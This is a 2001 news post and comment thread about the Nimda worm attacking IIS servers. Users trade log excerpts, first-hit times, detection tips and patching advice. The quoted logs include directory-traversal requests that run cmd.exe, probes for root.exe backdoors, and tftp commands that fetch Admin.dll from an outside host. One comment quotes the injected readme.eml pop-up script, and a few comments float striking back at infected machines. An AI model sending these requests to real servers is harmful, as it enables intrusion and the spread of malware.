New (More) Annoying Microsoft Worm Hits Net

A new worm seems to be running rampant Unlike Code Red, it attempts to hit boxes with many different exploits (including what looks like an attempt to exploit boxes still rooted by Code Red). It looks like each IP tries 16 attempts on its neighbors. There is also a new mail worm mailing WAV files or something with bits of what appears to be the registry... it may or may not be related. Got any words on this? Shut down those windows boxes and stop opening attachments. And make that 21. Got another one while writing this story. All my hits are coming from 208.n.n.n (where I am) I'm sure it'll keep moving to nearby boxes. Update: 09/18 16:40 GMT by J : It now has a name: "Nimda." More info here, here, and here.

Here are examples of the requests it's sending:

GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../ ..%c1%1c../winnt/system32/cmd.exe?/c+dir
GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir

While writing this story I was hit a total of 4 times, 16 GET attempts per attack. In only 4 minutes. Also of interest, My desktop has now been hit about 500 times today, all from 208.x.x.x IPs. This might be really bad. I still haven't read anything about this anywhere else, so you heard it here first ;)

Update Web servers compromised by this worm apparently attach a "readme.eml" to all web pages served... and due to a bug in IE5, it will automatically execute the file! Yay Internet Explorer!

Comments

Is this just the old Unicode exploit?

[MeowMeow Jones]

Or is it something new?

Looks like an exploit that's been around for a while (way before CR)

Re:Is this just the old Unicode exploit?

[JeffMagnus]

I saw a similar attack to this several weeks ago. Is it an older worm or was it someone testing their worm?

Re:Is this just the old Unicode exploit?

[anacron]

It's more terrorist activity. Check this out:

http://www.nipc.gov/warnings/advisories/2001/01- 02 1.htm

Re:Is this just the old Unicode exploit?

[fava]

Snort running on my linux box reports

spp_http_decode: IIS Unicode attack detected

1300 attempts in 3 hours, and they all seem to be from 216.X.X.X

Re:Is this just the old Unicode exploit?

[Dedalous]

It's something new attacking something old. It looks to me like its trying a few of the old IIS vulnerabilities: directory transversal, and code red II/sadmind backdoors. Some people are saying its affecting fully patched machines, but I don't think that's true. My IIS 5 machines are getting hammered, but not one has been infected (although, if the backdoors were still around, you could still use the root.exe.exploit on a fully patched machine, I think).

MS really need to try to get a better tool out there for detecting and installing patches. Lots of people just don't know the right way to install multiple patches. My suggestion:

1. Run hfnetchk to see what you're missing.
2. Expand each hotfix to a directory with -x option.
3. Install each hotfix (in order) with hotfix.exe -q -m -n -z
4. Run qtrain.exe.
5. Reboot.
6. Run qfecheck to make sure they're all valid.
7. Watch the compromise attempts bounce off you're fully patched server.
8. Repeat next week when someone finds the next gaping security hole in IIS.

Re:Is this just the old Unicode exploit?

[millz]

Yeah, just running thru my apache error_log and I noticed this "OLD" attempt using a similar GET call: [Tue Jul 3 15:23:20 2001] [error] [client 62.161.100.102] File does not exist: /home/httpd/html/msadc/..À..À..À..//winnt/syste m32/cmd.exe July 3l; pretty old. Don't know how related it is to the new stuff though, but it sure looks similar.

Re:Is this just the old Unicode exploit?

[ncc74656]

I checked my logs for requests that include "cmd.exe" in the URL. Before today, I had 30 hits going back to the beginning of the year, and some of those were from a Nessus scan I initiated. As of this writing, I've had another 1850 hits in a little over three hours (first hit @ 0634 PDT; it's currently 0942 PDT). The first few were from out-of-country, but the vast majority are other hosts in lvcm.com.

Given the sudden uptick in activity, I'd say this qualifies as a new attack. I should probably cross-reference the new attacks with Code Red attacks...anyone want to bet against lots of hosts in common between the two?

Re:Is this just the old Unicode exploit?

[Anonymous Coward]

Indeed.. The NIPC did issue that warning of activity on September 18.

Re:Is this just the old Unicode exploit?

[DrSkwid]

i have a better solution

get 2 floppies

make freebsd kernel & mfsroot disks from www.freebsd.org

reboot your machine

install freebsd

simple, no more lame attacks from IIS machines

Re:Is this just the old Unicode exploit?

[YKnot]

These are the times when paranoia is a civil duty. Worms like Code Red and Nimda almost "force" internet service providers to disallow access to port 80 on client systems unless the customer specifically ordered webserver accessibility. This is bound to reduce the number of webservers and those which remain are much more likely in central locations, which makes life much easier for intelligence agencies.

Re:Is this just the old Unicode exploit?

[c_g_hills]

FreeBSD isn't a webserver, dumbass. Try something like Apache or Xitami.

Re:Is this just the old Unicode exploit?

[Anonymous Coward]

Ugh! This morning one of our netBSD boxes started *crawling* and a mySQL daemon died. Just for the hell of it I checked a heavily-trafficed site's log file and Whoah! We are now getting HUNDREDS of these hits PER MINUTE on that box. The bandwidth charges are a climbin' - makes me wonder if the co-lo people are paying to have someone write these fucking worms...

Anyway, this is definitely a new face on an old hack. FWIW, I think we need to get the word out to all those moronic ADSL users that do not have a f/w, and never seem to be able to patch their machines and INSIST on using Outlook (yech!) or similar crappy email s/w.

So, we need to all let the people in our circle(s) know of the problem and have them fix their goddamned boxes already!

-Aragon

Re:Is this just the old Unicode exploit?

[Anonymous Coward]

umm, no

that would just mean you couldn't be infected with the iis worms....you still get your logs filled up with the stupid crap though

Re:Is this just the old Unicode exploit?

[Anonymous Coward]

ya, or even easier.. remove IIS and install apache.

Re:Is this just the old Unicode exploit?

[Anonymous Coward]

well duh!

Bleah...my firewall logs all of this...

[Dimensio]

And it suddenly had to back up once a week after Code Red started thwacking my machine. Perhaps I should write a script to exploit the root-hack and shut down the affected machines so that the local cable circuit won't be clogged with that crap. I can't imagine how bad this will get.

It's not like @Home (in my area) is doing *anything* to stop this. I really think that they should be policing for such disruptive activities and informing their customers when unsecured machines on their network are comprimised.

Re:Bleah...my firewall logs all of this...

[Anonymous Coward]

Be glad they are sitting on their hands. In my area, their way of dealing with Code Red was to disable ALL port 80 requests -- which is really a dumb way to handle it.

Re:Bleah...my firewall logs all of this...

[tlk nnr]

Perhaps I should write a script to exploit the root-hack and shut down the affected machines so that the local cable circuit won't be clogged with that crap.

Shutting down the affected machines is virtually guaranteed to bring you into jail, don't do that.

What about something less intrusive?
Pop up a message box with a notice that someone broke into the computer, perhaps with a message beep every minute?

I wouldn't use such an app myself, but probably an ISP could use that in his own local loop.

Re:Bleah...my firewall logs all of this...

[leadfoot]

My access_log has been busy this morning. I decided to visit one of the sites hitting my box, using Konquerer. I found a default IIS install with this code inserted at the bottom of the html:
window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")

So far, over 400 hits, with multiple hits from each IP address in the 66.*.*.* range.

Re:Bleah...my firewall logs all of this...

[Dimensio]

I would think that an ISP should be allowed to cut off access of people running infected machines. That's the surest way to get someone's attention without any legal ambiguities.

Of course, the ISP would certainly get calls from irate users who *inist* that they would *never* let their computers get infected with a virus and *demand* that their service be restored, and how *dare* anyone suggest that their computers are infected with anything. Bleah.

Re:Bleah...my firewall logs all of this...

[Tim Doran]

Jeez - I'm ssh'd into my home linux box. Thought I'd check out a few of the infected machines... by pasting the ip's into IE5.5 on my laptop.

Duh! Flipping back and forth between the sites, Slashdot, ssh, answering the phone and guzzling coffee, I didn't notice that IE was crashing, Norton antivirus was triggering... shit.

I'm an idiot. Okay - have I infected my machine? I'm afraid I've been automatically triggering 'readme.eml'. I'm running NT4.0 sp6.

Re:Bleah...my firewall logs all of this...

[b0r1s]

No, you havent .... I did it too, and as long as you dont OPEN the readme.eml (with say, outlook or eurdora), the file never gets executed.

Re:Bleah...my firewall logs all of this...

[Dimensio]

Unfortunately for me, IE6 decided to automatically open readme.eml.

There was probably a setting to disable such, but IE didn't install with that set to default, so most people are going to get hit.

Re:Bleah...my firewall logs all of this...

[0vi_king]

Yeah... but he will only get a slap on the wrist, remember? :)

Re:Bleah...my firewall logs all of this...

[kiwipeso]

you mean, tell people who are stupid enough to have a pc with cable but no firewall, that they have yet another virus?

This happens every other week for dumb pc users. I've never had a virus on my macs since i got them about a decade ago.

I don't even need my firewall, but it's in the OS

Re:Bleah...my firewall logs all of this...

[weslocke]

Considering the fact that their agreement doesn't allow for the running of servers from residential accounts (I don't believe it says you can't, just doesn't say you can), I personally don't see the problem with shutting down port 80. It's a sledgehammer method of dealing with the problem, but it does work, and if it keeps my system from bogging down and timing out in trying to hit /. then I'm all for it. (And for the record I'm an @Home user also, I just set mine up for an alt port)

If you need to run a webserver, just run it on :8080... or for that matter let that be incentive to set up a 'secure' server and just use :443. (If you're running a webserver with enough traffic to cause problems/sluggishness doing encryption then you probably need to hit a commercial provider anyway.)

Re:Bleah...my firewall logs all of this...

[Syberghost]

Actually, @Home has a plan to stop this for their customers; they're going to go out of business, cutting them all off the net. :-)

Seriously, most large providers are completely ignoring this problem. UUNet blew off my auto-notifier (I'm using the DasBistro one) and then sent me a customer service satisfaction survey. Needless to say, I rated them "0" in every category...

Re:Bleah...my firewall logs all of this...

[Anonymous Coward]

Yes.

And at the ISP's perogative they should be allowed to cancel the accounts of customers with any machine running an unsecured OS that allows people to easily hack the IP stack, etc.

I.E. any of the Open Source OSes.

Re:Bleah...my firewall logs all of this...

[jdunlevy]

I would think that an ISP should be allowed to cut off access of people running infected machines. That's the surest way to get someone's attention without any legal ambiguities.

You'd certainly hope. This would probably have to be added to terms of service contracts, though. Something along the lines of: if ISP tells user to fix user's gaping security hole and user doesn't, user loses service.

In my web logs, a lot of the IPs I see running to new worm are the same ones I complained about last month becuase they were running the old worm.

Re:Bleah...my firewall logs all of this...

[Scottaqua]

I have been hit 2500 times in three hours all from 100.XX

I also managed to download a copy of the readme.eml file, but it just looks like a bunch of characters to me. Let me know if anyone wants to see a copy of it.

Re:Bleah...my firewall logs all of this...

[ncc74656]

What about something less intrusive? Pop up a message box with a notice that someone broke into the computer, perhaps with a message beep every minute?

Something like this? I've been doing that with Code Red for the past few weeks. Time to fix it to deal with this new attack (and fix my website so it doesn't bother with listing all Code Red attacks, as it has to be somewhere close to 10k hits now :-P ).

Re:Bleah...my firewall logs all of this...

[klpauba]

Might we be able to convince all windows users to turn their firewalls around to protect the internet from their machines?

Re:Bleah...my firewall logs all of this...

[kilgore_47]

I think most ISP's probably have a list of reasons they can disconnect you, and then at the bottom of the list they have the "or for any reason, at our discretion, etc etc" clause.

So, they could probably pull the plug on any infected users and be 100% in the clear from a legal aspect. And if they were carefull, they could even get a story in the local paper (about how they were helping to fight evil hackers) before the letter to the editor from the irate infected customer with no more net access.

Re:Bleah...my firewall logs all of this...

[chinakow]

I would, you send me the application and I will make sure that the @home network and all its users are aware that there machines are infected, plus I could use it on the internal network, I am sure that the admins here would be more than happy to shutdown the machien that are infected, that would make the people who don't read their E-mail easier to find

Jon

Re:Bleah...my firewall logs all of this...

[Anonymous Coward]

I'm an idiot.

I'm running NT4.0

Score: -1, Redundant

Re:Bleah...my firewall logs all of this...

[elliott666]

You should take a look at the License agreement for AT&T@home (I'd link it, but their site is down...I wonder why?) You'ld be surprised at how many of their rules you are breaking, they don't allow you to run web servers in the first place. I generated a huge list of IPs that are infected with Code Red just last week and was going to send it to AT&T, but decided to make sure they wouldn't string me up for it first and it's a good thing I didn't.

Re:Bleah...my firewall logs all of this...

[Telek]

when unsecured machines on their network are comprimised

And if they were policing, people would cry foul.

And BTW -- you are NOT ALLOWED to run ANY servers on your machine under the @home network, at least according to my contract. So why would they police anyways?

Re:Bleah...my firewall logs all of this...

[Computer!]

Yeah, could someone foward it to my hotmail account? mccallclAThotmailDOTcom. Thanks. I'd like to take a look at this to see what the guts of this worm look like.

Re:Bleah...my firewall logs all of this...

[J'raxis]

The worm includes some jScript in pages on infected boxes to open the readme.eml for you.

Re:Bleah...my firewall logs all of this...

[Anonymous Coward]

I've already got 90% of one written to send
"intelligent mail" back to them if you want it.
awk does the log parsing and expect does the
remail. i'll post it if there is any interest.

Re:Bleah...my firewall logs all of this...

[Anonymous Coward]

I thought I was smoking crack when I started seeing this hit my squid box this morning at 7am. Guess not. Atleast I know my m$ boxen are patched (a job the server admin knows nothing about)

Re:Bleah...my firewall logs all of this...

[patter]

It's not like @Home (in my area) is doing *anything* to stop this. I really think that they should be policing for such disruptive activities and informing their customers when unsecured machines on their network are comprimised.

Actually, interestingly enough, we did get a call from someone at @Home. Someone had foolishly left IIS running on the gateway machine that connects us to the 'net, and Code Red had infected it (and all of our local machines).

Since we're in the middle of a Corporate take-over, our IT dept. has kinda gone to hell, and we didn't know about it for a few weeks ('cause no one was in charge of our stuff, and when they swept the rest of the network forgot about our little remote office). Oops!

Re:Bleah...my firewall logs all of this...

[Anonymous Coward]

I don't know . . . I sent my ISP a list of those IPs which were in their range and were hitting my box with suspect GETs, suggesting that they email each and let them know they've been hit, and got no response at all (as a corporate customer, you'd think they'd at least thank me for bringing it to their attention).

Mail servers down

[Vamphyri]

My mail server is down already. Thanks for this new virus in the wake of such a tragedy.

Re:Mail servers down

[Swordfish]

It seems to me that it started at approximately 08:42 on Tuesday morning. I wonder what this means?!! I suspect this is not a coincidence.

It has a very high probability of /16 hits as well as /8 hits.

It's using about 50% of my modem bandwidth with about 20 IP addresses with port 80 active. It's so bad, I closed down most of my ports 80.

Re:Mail servers down

[Midnight Ryder]

My first log entry for this attack is at 8:08 AM. Just FYI.

Re:Mail servers down

[grahams]

My first log entry for this attack is at 8:08 AM. Just FYI.
That explains it! It must be Hawaii! I never trusted those bastards anyway!

:P

sean

Re:Mail servers down

[sterno]

First hits here were at 8:33 Central

Re:Mail servers down

[b0r1s]

First hit here (Los angeles) ... 18/Sep/2001:07:27:37 -0700

Re:Mail servers down

[dead_penguin]

18/Sep/2001:06:16:18 -0700 here in Vancouver.

Re:Mail servers down

[RollingThunder]

Unless you can actually find a timestamp string inside, I suspect it's just that - a coincidence.

And for it to reach fullbore speed, like it is, it has likely been spreading for a couple hours before this from the time of initial infection. It takes a while for a new attack to get so many hosts to make it stand out from the background noise like this (overlooking the academic exercise done a couple weeks ago where it was figured the entire 'net could be compromised inside an hour).

Re:Mail servers down

[Anonymous Coward]

First hit at 09:36 EST from the 64/8. got ~2500 requests today :/

we should pu up something to trace back the spreading...

/stc

408 worm too?

[libertynews]

I'm seeing massive numbers of timed out requests on my sytems this morning. It started at exactly 9:06 eastern time.

I checked one of the IPs and it said 'Fuck USA Government, Fuck PoisonBOx' and opened a second window with what looked like a MIME buffer overflow attempt. I run Opera on Linux so it didn't effect me. It looks like we may be getting hit in a shotgun approach. My systems are in the 207.227 range and 208.

Brian

Re:408 worm too?

[Tim Doran]

Wow - I opened one of the IP's that's hit my box and saw the same thing - Fuck USA Government, Fuck PoisonBox' I'm in the 24.156 range (Rogers@Home in Ontario...)

Re:408 worm too?

[Tim Macinta]

I checked one of the IPs and it said 'Fuck USA Government, Fuck PoisonBOx' and opened a second window with what looked like a MIME buffer overflow attempt.

I tried looking at (port 80 of) 4 or 5 of the infected machines that showed up in my logs and none of them had this message. I only got through to two of the web servers, but they didn't appear to be defaced at all. Perhaps there are different strains of this worm and a more recent mutation carries the virus that the other poster in this thread mentioned.

Re:408 worm too?

[libertynews]

Just an update/clarification - I'm now not seeing the same response for all attacking IPs (now that I've looked at more than 1). I'm not seeing any code-red like attacks because my ISP filters those at the router.

Brian

Re:408 worm too?

[isj]

I have been seeing the timed-out requests since August 1st. Exactly August 1st. The number of 408's in my http log increased slowly from 1-2 per day to 30 around August 20th and then slowly decreasing to 1 - until today, where I so far have seen 130 timed out requests. My system is in the range 212.242.x.x, and most of the requests comes from 212.x.x.x but not all.

Re:408 worm too?

[Swaffs]

9:26 EDT for it to start for me.

Re:408 worm too?

[(startx)]

actually, they are slightly defaced, if you look at the html source of the pages that have been infected, the virus has added a window.open() to the end of the page.

Re:408 worm too?

[atotic]

You can see the Fuck Box at http://dkb3.dkbnet.com/

Be careful, I got hacked. It opened a second window on my machine, which somehow started executing C:\Windows\Temp\mep3151.TMP.exe. I am running Windows and IE6 with all the latest patches.

Aleks

Re:408 worm too?

[Tim Macinta]

actually, they are slightly defaced, if you look at the html source of the pages that have been infected, the virus has added a window.open() to the end of the page.

Ah, that explains it. The first thing I did when I downloaded Mozilla 0.9.4 a few days ago was to activate the new pop-up blocking feature (a very nice feature, by the way). I was looking for the defacement on the page itself and didn't happen to think that it might be in a pop-up that Mozilla was kind enough to block for me.

Re:408 worm too?

[ekephart]

i got the same thing from 24.0.102.133.

Re:408 worm too?

[Gleep]

I see exactly the same message on this box that has been hitting me tens of thousands of times in the past 12 hours... 198.172.89.72

i'm not quite ready to dasbistro this sob, but maybe somebody else will be kind and shoot this limping dog in the head for me?

p.s. i always wondered what that 408 thing was in my log files!

Re:408 worm too?

[Gleep]

one thing that occured to me is that some of the hits i'm getting in my log file from this are not from web servers, but sad pc's that have been outlooked or explorered into infection and not iis'ed. yes? no? maybe?

Re:408 worm too?

[libertynews]

And a final followup, just for the record. The timed out (408 error) connections I was seeing was due to my ISP filtering out the payload of the work, but its impossible to ignore the initial connection, so it ends up leaving open connections for all the worm connection attempts.

Lowering my Apache timeout to 60 seconds brought the connection level back down to a managable level.

Wrong name

[platinum]

The 208.x.x.x is similiar to Code Red in that it attempts to scan local subnets (I bet you are have a 208.x.x.x IP); therefore, naming it 208 is only good for those in your Class A. We have received attempts from over 100 hosts infected with the Code Red 2 worm, starting from the local class C, then class B, and now class A and others. It appears to be attempting to find rooter servers, for what purpose I can only imagine.

Re:Wrong name

[garcia]

it originally started in just the 63.174 for me. Now it is hitting me from all over the place. It is really nasty b/c of the number of requests that each machine sends out.

I was surfing some porn sites this morning and they seemed horribly affected (none of the images would load and they were slow as hell).

ugh. Just when you thought it was safe to disable "assholes_log".

Re:Wrong name

[platinum]

If you try to access a vulnerable server it attempts to send you a 'readme.eml' file with a .wav content type. This file (using strings) appears to contain numerous registry entries plus all the strings used to find and infect other servers.

Re:Wrong name

[zpengo]

It appears to be attempting to find rooter servers, for what purpose I can only imagine.

Propagation of the species?

It's interesting how worms, viruses, etc., take after biological tendencies, and almost have to be treated the same way to get rid of them: Quarantine, vaccination, precautionary measures, etc.

It's a shame there are no drugs for this one yet.

Re:Wrong name

[lunatik17]

Yes, I'm on a 209.x.x.x IP and it's hit me almost 1200 times already today.

Re:Wrong name

[Anonymous Coward]

What the hell are you talking about, "...your class A"?? That's utter nonsense. A class A address is from 0.0.0.0 through 127.255.255.255. 208.x.x.x isn't included in the class A address space. You must of read that incorrect linux networking HOWTO that says class A is a NETMASK of 255.0.0.0 which is just bullshit.

Re:Wrong name

[mrseth]

Why can't these virus writers code their shit such that it checks the type of webserver running on the victim before making 16 or so more connections? It would spare my poor little /var partition a lot of space.

Re:Wrong name

[VenTatsu]

since when did "propagation of the species" require any intelegence?
real virii propagate but I don't hear any one claiming they have intelegence.

Re:Wrong name

[mosch]

Why is it that even the dumbest farmer knows that having all your fields grow the same exact plant is a bad idea, but most corporations don't see why having everybody use the exact same software is a bad idea?

Re:Wrong name

[Jburkholder]

Those insensitive basdards! How dare they code worms that indiscriminantly affect non-windows machines?

Re:Wrong name

[Anonymous Coward]

Actually, most corporations are growing the exact same lemons even though they need oranges.

Re:Wrong name

[maxume]

Both statements might be true, but your analogy doesn't make any sense. Planting different crops on fields not only protects the farmer from diseases(the basis of your analogy?), but also gives him some degree of isolation from a radical economic event that occurs in the market for a single crop. Having everybody use the same software leads to network effects, and it can even be said that there are costs associated with using dissimilar software, as effort must be expended in order to make most disparate software work together. Granted, it is getting easier, but there is still some loss when making different systems interoperate.

Re:Wrong name

[Datafage]

Mod this guy up!

Re:Wrong name

[Chandon Seldon]

Farmers could argue that it's easier to grow one crop because then they don't have to deal with the disparate growing enviornments that different crops require. Growing different crops is a little more work in the short term...

Re:Wrong name

[daveking]

Using varied software gives a corporation a degree of isolation from a radical economic event that occurs in the market for a single type of software.

What if an operating system vendor were to change its leasing terms and increase its price?

Re:Wrong name

[Anonymous Coward]

That's because they're speaking with really, really tiny voices :)

Re:Wrong name

[small_box_of_stuff]

I spent all morning decompiling and reading through this thing, to see what it does. the wave file that it attaches to the email is actually an executable, named readme.exe, that contains the package. Its rather nasty. It also messes around with windows resources, and explicitly looks for winzip. Its rather big, so I havent gotten the entire thing understood just yet, but from all Ive tracked out of it so far, it messes with nt lanmanager security settings, explorere settings, and mail settings, as well as mangeling certain files.

And I wasnt kidding about it messing around with resource bundles on the end of windows executables. I havent figured out what its attacheing there, but something is definitely doing it.

And earlier posts were right about the attacking of codered rooted boxes. it also gets other misconfigured iis setups that allow access to cmd some how.

Whats nasty is that since it can come in over email, it got behind the corporate firewall this morning. and since inside most people hadnt bothered to keep their iis servers pathched and secured. So even though we were safe from code red, this one got in and starting mangeling servers.

Re:Wrong name

[LinuxHam]

Why can't these virus writers code their shit such that it checks the type of webserver running on the victim..

Why can't these virus writers just finally once and for all write a virus that will completely *blow away* the box? Or at least remove the TCP/IP stack.. that would keep an MCSE busy for a couple of days and their server off the network, too.

I close my eyes, and daydream about a microsoft-free Internet if not for just half a day.

Re:Wrong name

[thogard]

Class A/B/C died a long long time ago.

Class A now means /8
Class B now means /16
Class C now means /24

Class D still means the multicast stuff.

Remember words change meaning over time. Same in the networking world.

Re:Wrong name

[maxume]

I agree with your point, but I still find the analogy a little thin, at least on an emotional level...

Re:Wrong name

[Anonymous Coward]

Also, different plants 'take' different things from the soil, so unless you perform some kind of crop rotation (prehaps even growing crop that youll just plow back into the ground), you will quickly end up with soil that wont grow your single crop. Thats a big sentence.

Re:Wrong name

[mpe]

Why can't these virus writers just finally once and for all write a virus that will completely *blow away* the box? Or at least remove the TCP/IP stack.. that would keep an
MCSE busy for a couple of days and their server off the network, too.

Depends how well trained they are at doing a reformat and reinstall...

here's more output

[TheGratefulNet]

www.iitelecom.qc.ca - - [18/Sep/2001:08:10:05 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281

www.iitelecom.qc.ca - - [18/Sep/2001:08:10:05 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291

www.iitelecom.qc.ca - - [18/Sep/2001:08:10:06 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305

www.iitelecom.qc.ca - - [18/Sep/2001:08:10:06 -0700] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 322

www.iitelecom.qc.ca - - [18/Sep/2001:08:10:07 -0700] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/syst em32/cmd.exe?/c+dir HTTP/1.0" 404 322

www.iitelecom.qc.ca - - [18/Sep/2001:08:10:07 -0700] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c 1%1c../..%c1%1c../winnt/system32/cmd.

Re:here's more output

[cphipps]

...including what looks like an attempt to exploit boxes still rooted by Code Red

Assuming that refers to this:

"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"

then that's an exploit for Code Red II infected machines, not the original Code Red.

Re:here's more output

[TheGratefulNet]

bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:08 -0700] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 283 "-" "-"
bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:08 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281
bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:08 -0700] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 281 "-" "-"
bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:09 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:09 -0700] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:09 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:09 -0700] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291 "-" "-"
bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:10 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
bellview-65.porterville.k12.ca.us - - [18/Sep/2001:08:42:10 -0700] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305 "-" "-"

notice the domainname: k12. (for those who don't recognize this, k-12 refers to kindergarten thru 12th grade. ie, kids.

sure gives new meaning to script kiddies don't it?

Re:here's more output

[jono]

Getting shed loads of hits and it seems to be getting worse all the time...
Latest victim in the log: http://193.115.227.25/

What irony.

jono

Re:here's more output

[bobwoodard]

Here's one with an FTP component...

http://www/scripts/root.exe?/c+tftp%20-i%2064.1. 99 .114%20GET%20Admin.dll%20Admin.dll

Re:here's more output

[Corby911]

Here's a php script showing attacks on beezhive.com. Source here.

Re:here's more output

[BluesMoon]

Well, our main server (apache) was hit 4695 times since 0000hrs 19 Sept IST (+530), with 1974 hits on the 18th. On the whole, attacks came from 483 unique IPs. I used this:

cat list_of_logs | egrep "scripts|_vti_bin|_mem_bin" | cut -f1 -d" " | sort | uniq | wc -l

to get that number. The grep got a few other suspicious (for apache) hits, that I did not count (two actually).

I've put up the whole list of IPs that tried to hit us at http://www.ncst.ernet.in/~philip/nimda.infected This list may grow as things change. Currently IPs from all classes of networks, with very different network numbers (12, 24, 35, 61, 63, 65, 66, 130, 137, 144, 146, 147, 158, 164, 168, 193, 194, 199, 200, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 216, 217)

I've also got a not so large number of hits for /_vti_bin/shtml.dll/_vti_rpc and /_vti_bin/shtml.exe/_vti_rpc. These have been coming through as far back as my logs record (start of September).

Philip

Re:here's more output

[TheGratefulNet]

given all the polution that windows boxen are causing the rest of us, I would go so far as to propose that isp's charge MORE for a wintel box connection than any other type. the extra charge could help defray the inevitable cleanup cost since M$ software seems architected to cause network problems and assaults.

I don't think I should be on the same logical network as those lusers. if winblows users were on their own vlan or separate segment (from the isp's perspective), then the isp could, at times of network attack, remove them and let the rest of us go about our business.

being disconnected until your system is fixed would sure send a loud message to the owners of those bad boxes. it would help the owners realize that they are messing up the net and also it would help contain the problem so the rest of us don't have to pay for their poor choice of base o/s and webserver. of course as soon as the user can demonstrate that the problem has been fixed, their net.connection would be restored (simple as setting adminStatus to ON for their switch or repeater or dslam port).

clearly the system of "police your own box" isn't working. code-red boxes have been left unpatched for weeks now - and there doesn't seem to be any sign that the lusers will catch the cluetrain and either reinstall or patch. and with yesterday's new worm, its becoming more and more clear that the whole internet is in danger of being [more] reduced to noise due to all this background 'traffic'.

fwiw, here's an ascii graph of all the attack traffic (greping for 'scripts' in my weblog) since this new worm began:

date hour hits/hr graph

2001/09/18 7 98 XXXXXXXXXXXXXXX
2001/09/18 8 282 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 9 256 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 10 240 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 11 212 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 12 236 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 13 114 XXXXXXXXXXXXXXXXXX
2001/09/18 14 216 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 15 188 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 16 170 XXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 17 152 XXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 18 138 XXXXXXXXXXXXXXXXXXXXXX
2001/09/18 19 128 XXXXXXXXXXXXXXXXXXXX
2001/09/18 20 236 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 21 234 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 22 224 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/18 23 132 XXXXXXXXXXXXXXXXXXXXX
2001/09/19 0 152 XXXXXXXXXXXXXXXXXXXXXXXX
2001/09/19 1 128 XXXXXXXXXXXXXXXXXXXX
2001/09/19 2 120 XXXXXXXXXXXXXXXXXXX
2001/09/19 3 252 XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/19 4 104 XXXXXXXXXXXXXXXX
2001/09/19 5 160 XXXXXXXXXXXXXXXXXXXXXXXXX
2001/09/19 6 48 XXXXXXX
2001/09/19 7 160 XXXXXXXXXXXXXXXXXXXXXXXXX

Re:here's more output

[mashy]

then that's an exploit for Code Red II infected machines, not the original Code Red.

big deal which one it was.
Just about every box ever infected with Code Red I eventually got CR II. and hey I'm still getting code red II hits -- somehow -- even after my isp has cut off incoming port 80 connections!

what part of the registry is mailed?

[flok]

I wonder what part of the registry is mailed. Passwords+usernames of outlook? Or are all of these in pwl-files these days?

Re:what part of the registry is mailed?

[mrossbrown]

NT user passwords are stored in the registry, as well as on disk.

M. R.

yup!

[macpeep]

Yeah.. While I'm on Win2K and running a web server, it would never occur to me to run IIS. My logs are totally filled up with traces of this new worm. The logs also include lines such as this (IP censored).

GET /scripts/root.exe?/c+tftp%20-i%20212.163.x.x%20GET %20Admin.dll%20Admin.dll 212.163.x.x

Interesting..

On the upside, I haven't had a single hit by Code Red in the past hour or so! Let's hope this one is nasty enough to get the people to finally shut down / fix their boxes!

Re:yup!

[Dimensio]

Are you running a webserver that is getting these requests, or is it just a firewall that logs the entire packet content?

I'm using IPChains under Linux and I don't get much packet information (perhaps I could set up a more verbose logging, I'm a bit inexperienced and my first priority was shutting out all unwanted traffic) other than the originating IP, the outgoing port and the attempted incoming port when the packet was dropped.

Re:yup!

[macpeep]

I'm running a self made (experimental) web server..

Re:yup!

[Dog and Pony]

Exactly. :) I'm on W2k partly, also, and I wouldn't either. Sorry for the me-too post, but just because you are sorry enough to run windows (like me), there is no reason to be stupid on top of that... like running IIS. :)

Re:yup!

